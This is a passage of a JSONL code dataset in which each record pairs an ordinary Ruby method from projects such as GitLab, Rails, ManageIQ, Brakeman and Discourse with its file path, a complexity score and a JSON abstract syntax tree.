\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"type\"]},{\"type\":\"lvasgn\",\"children\":[\"end_str\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]},\"pop\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"!=\",{\"type\":\"sym\",\"children\":[\"on_tstring_end\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Haml\"]},\"InternalError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected :on_tstring_end but got: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"beg_str\"]},{\"type\":\"lvar\",\"children\":[\"end_str\"]}]}]}]}","id":"2f0aaea1-2e1f-468c-92f9-5a58c5a1bf1e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/merge_request_parser.rb","start_line":68,"raw_source":"def branch_exists?(branch_name)\n        @project.repository.raw.branch_exists?(branch_name)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"branch_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"branch_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"repository\"]},\"raw\"]},\"branch_exists?\",{\"type\":\"lvar\",\"children\":[\"branch_name\"]}]}]}","id":"a8d8fd2b-476e-4d83-88e6-957f8054eb5e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/mysql/database_statements.rb","start_line":27,"raw_source":"def explain(arel, binds = [], options = [])\n          sql     = build_explain_clause(options) + \" \" + to_sql(arel, binds)\n          start   = Process.clock_gettime(Process::CLOCK_MONOTONIC)\n          result  = internal_exec_query(sql, \"EXPLAIN\", binds)\n          elapsed = Process.clock_gettime(Process::CLOCK_MONOTONIC) - start\n\n          MySQL::ExplainPrettyPrinter.new.pp(result, elapsed)\n        end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"explain\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arel\"]},{\"type\":\"optarg\",\"children\":[\"binds\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_explain_clause\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"+\",{\"type\":\"str\",\"children\":[\" \"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"to_sql\",{\"type\":\"lvar\",\"children\":[\"arel\"]},{\"type\":\"lvar\",\"children\":[\"binds\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"start\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"clock_gettime\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"CLOCK_MONOTONIC\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"internal_exec_query\",{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"str\",\"children\":[\"EXPLAIN\"]},{\"type\":\"lvar\",\"children\":[\"binds\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"elapsed\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"clock_gettime\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"CLOCK_MONOTONIC\"]}]},\"-\",{\"type\":\"lvar\",\"children\":[\"start\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MySQL\"]},\"ExplainPrettyPrinter\"]},\"new\"]},\"pp\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"elapsed\"]}]}]}]}","id":"fad7c3b7-bbe9-4f4d-a968-8b57967f4582"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/integrations/propagate_service.rb","start_line":62,"raw_source":"def create_integration_for_groups_without_integration\n      propagate_integrations(\n        Group.without_integration(integration),\n        PropagateIntegrationGroupWorker\n      )\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_integration_for_groups_without_integration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"propagate_integrations\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"without_integration\",{\"type\":\"send\",\"children\":[null,\"integration\"]}]},{\"type\":\"const\",\"children\":[null,\"PropagateIntegrationGroupWorker\"]}]}]}","id":"f7241377-629d-42cf-b278-7c38d6c18789"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/events/destroy_service.rb","start_line":11,"raw_source":"def execute\n      loop do\n        count = delete_events_in_batches\n        break if count < BATCH_SIZE\n      end\n\n      ServiceResponse.success(message: 'Events were deleted.')\n    rescue StandardError => e\n      ServiceResponse.error(message: e.message)\n    end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"send\",\"children\":[null,\"delete_events_in_batches\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"<\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"break\",\"children\":[]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Events were deleted.\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"57f190fb-e4df-4064-88ae-1e18607bef7b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_request_workflow.rb","start_line":1434,"raw_source":"def allowed_images(options = {})\n    result = allowed_pxe_images(options) + allowed_windows_images(options)\n    # Change the ID to contain the class name since this is a mix class type\n    result.each { |ci| ci.id = \"#{ci.evm_object_class}::#{ci.id}\" }\n    result\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_images\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_pxe_images\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"allowed_windows_images\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ci\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci\"]},\"id=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci\"]},\"evm_object_class\"]}]},{\"type\":\"str\",\"children\":[\"::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci\"]},\"id\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"e14ab6ee-6206-4025-bc6a-af3943083b0d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/repositories/commits_resolver.rb","start_line":40,"raw_source":"def resolve(**arguments)\n        commits = repository.list_commits(**list_commits_arguments(arguments.dup)).presence&.commits || []\n\n        Gitlab::Graphql::ExternallyPaginatedArray.new(*page_info_cursors(commits), *commits)\n      rescue Gitlab::Git::CommandError => e\n        raise Gitlab::Graphql::Errors::BaseError.new(\n          \"ListCommits: Gitlab::Git::CommandError\",\n          extensions: { code: e.code, gitaly_code: e.status, service: e.service }\n        )\n      end","complexity_score":24.9,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"arguments\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"commits\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"list_commits\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"list_commits_arguments\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arguments\"]},\"dup\"]}]}]}]}]},\"presence\"]},\"commits\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Graphql\"]},\"ExternallyPaginatedArray\"]},\"new\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page_info_cursors\",{\"type\":\"lvar\",\"children\":[\"commits\"]}]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commits\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"CommandError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Graphql\"]},\"Errors\"]},\"BaseError\"]},\"new\",{\"type\":\"str\",\"children\":[\"ListCommits: Gitlab::Git::CommandError\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extensions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"code\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitaly_code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"service\"]}]}]}]}]}]}]}]},null]}]}","id":"97b9e137-1784-4673-a302-827c71400e6d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/groups_finder.rb","start_line":177,"raw_source":"def by_active(groups)\n    return groups if params[:active].nil?\n\n    params[:active] ? groups.self_and_ancestors_active : groups.self_or_ancestors_inactive\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"by_active\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"groups\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"active\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"active\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"self_and_ancestors_active\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"self_or_ancestors_inactive\"]}]}]}]}","id":"a388dbc6-9e7a-4219-a5af-efe694d3e56d"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/sexp.rb","start_line":25,"raw_source":"def test_method_call_with_args\n    exp = parse 'x.y(1, 2, 3)'\n\n    assert_equal s(:call, nil, :x), exp.target\n    assert_equal :y, exp.method\n    assert_equal s(s(:lit, 1), s(:lit, 2), s(:lit, 3)), exp.args\n    assert_equal s(:arglist, s(:lit, 1), s(:lit, 2), s(:lit, 3)), exp.arglist\n    assert_equal s(:lit, 1), exp.first_arg\n    assert_equal s(:lit, 2), exp.second_arg\n    assert_equal s(:lit, 3), exp.last_arg\n  end","complexity_score":36.45,"ast_json":"{\"type\":\"def\",\"children\":[\"test_method_call_with_args\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exp\",{\"type\":\"send\",\"children\":[null,\"parse\",{\"type\":\"str\",\"children\":[\"x.y(1, 2, 3)\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"target\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"y\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"method\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"args\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"arglist\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"arglist\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"first_arg\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"second_arg\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"last_arg\"]}]}]}]}","id":"c75bb5eb-9c52-495b-88a9-d9636237db2c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/legacy_yaml_adapter.rb","start_line":5,"raw_source":"def self.convert(coder)\n      return coder unless coder.is_a?(Psych::Coder)\n\n      case coder[\"active_record_yaml_version\"]\n      when 1, 2 then coder\n      else\n        raise(\"Active Record doesn't know how to load YAML with this format.\")\n      end\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"convert\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"coder\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Psych\"]},\"Coder\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"[]\",{\"type\":\"str\",\"children\":[\"active_record_yaml_version\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"lvar\",\"children\":[\"coder\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Active Record doesn't know how to load YAML with this format.\"]}]}]}]}]}","id":"d4e280d2-2caa-45a3-9dfe-c9d97b702d37"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/master_pipeline_status.rb","start_line":59,"raw_source":"def impacted_job_statuses(pipeline_jobs, failed_jobs_statuses)\n        failed_jobs_statuses.select do |failed_job_status|\n          pipeline_jobs.any? do |job|\n            failed_job_status['name'] == job['name'] &&\n              failed_job_status['stage'] == job['stage'] &&\n              !job['allow_failure']\n          end\n        end\n      end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"impacted_job_statuses\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline_jobs\"]},{\"type\":\"arg\",\"children\":[\"failed_jobs_statuses\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failed_jobs_statuses\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"failed_job_status\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline_jobs\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failed_job_status\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failed_job_status\"]},\"[]\",{\"type\":\"str\",\"children\":[\"stage\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"str\",\"children\":[\"stage\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"str\",\"children\":[\"allow_failure\"]}]},\"!\"]}]}]}]}]}","id":"84fb1ed3-1f68-46a1-b1b9-9585c6b6afdc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/slack/manifest.rb","start_line":109,"raw_source":"def api_v4(path)\n        \"#{Gitlab.config.gitlab.url}/api/v4/#{path}\"\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"api_v4\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"gitlab\"]},\"url\"]}]},{\"type\":\"str\",\"children\":[\"/api/v4/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"85c10d08-ffec-4d2e-9628-628fda1d55c4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/graphql/merge_requests/assignee_or_reviewer_merge_requests_spec.rb","start_line":32,"raw_source":"def query(params = {})\n    graphql_query_for('currentUser', {}, query_graphql_field('assigneeOrReviewerMergeRequests', params, fields))\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"query\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"graphql_query_for\",{\"type\":\"str\",\"children\":[\"currentUser\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"query_graphql_field\",{\"type\":\"str\",\"children\":[\"assigneeOrReviewerMergeRequests\"]},{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"fields\"]}]}]}]}","id":"c65743d9-1e72-4dc1-8cae-b4fc89f0b843"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/generic_bulk.rb","start_line":680,"raw_source":"def import_user_field_values\n    puts \"\", \"Importing user field values...\"\n\n    discourse_field_mapping = UserField.pluck(:name, :id).to_h\n\n    user_fields = query(\"SELECT id, name FROM user_fields\")\n\n    field_id_mapping =\n      user_fields\n        .map do |row|\n          discourse_field_id = discourse_field_mapping[row[\"name\"]]\n          field_name = \"#{User::USER_FIELD_PREFIX}#{discourse_field_id}\"\n          [row[\"id\"], field_name]\n        end\n        .to_h\n\n    user_fields.close\n\n    # TODO make restriction to non-anonymized users configurable\n    values = query(<<~SQL)\n      SELECT v.*\n        FROM user_field_values v\n             JOIN users u ON v.user_id = u.id\n       WHERE u.anonymized = FALSE\n    SQL\n\n    existing_user_fields =\n      UserCustomField.where(\"name LIKE '#{User::USER_FIELD_PREFIX}%'\").pluck(:user_id, :name).to_set\n\n    create_user_custom_fields(values) do |row|\n      user_id = user_id_from_imported_id(row[\"user_id\"])\n      field_name = field_id_mapping[row[\"field_id\"]]\n      next if user_id && field_name && existing_user_fields.include?([user_id, field_name])\n\n      { user_id: user_id, name: field_name, value: row[\"value\"] }\n    end\n\n    values.close\n  end","complexity_score":42.3,"ast_json":"{\"type\":\"def\",\"children\":[\"import_user_field_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Importing user field values...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"discourse_field_mapping\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserField\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]},\"to_h\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user_fields\",{\"type\":\"send\",\"children\":[null,\"query\",{\"type\":\"str\",\"children\":[\"SELECT id, name FROM user_fields\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"field_id_mapping\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_fields\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"discourse_field_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"discourse_field_mapping\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"field_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"USER_FIELD_PREFIX\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"discourse_field_id\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]},{\"type\":\"lvar\",\"children\":[\"field_name\"]}]}]}]},\"to_h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_fields\"]},\"close\"]},{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"send\",\"children\":[null,\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT v.*\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM user_field_values v\\n\"]},{\"type\":\"str\",\"children\":[\"       JOIN users u ON v.user_id = u.id\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE u.anonymized = FALSE\\n\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_user_fields\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserCustomField\"]},\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"name LIKE '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"USER_FIELD_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"%'\"]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]},\"to_set\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_user_custom_fields\",{\"type\":\"lvar\",\"children\":[\"values\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_id\",{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"field_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_id_mapping\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"field_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"field_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_user_fields\"]},\"include?\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"field_name\"]}]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"childre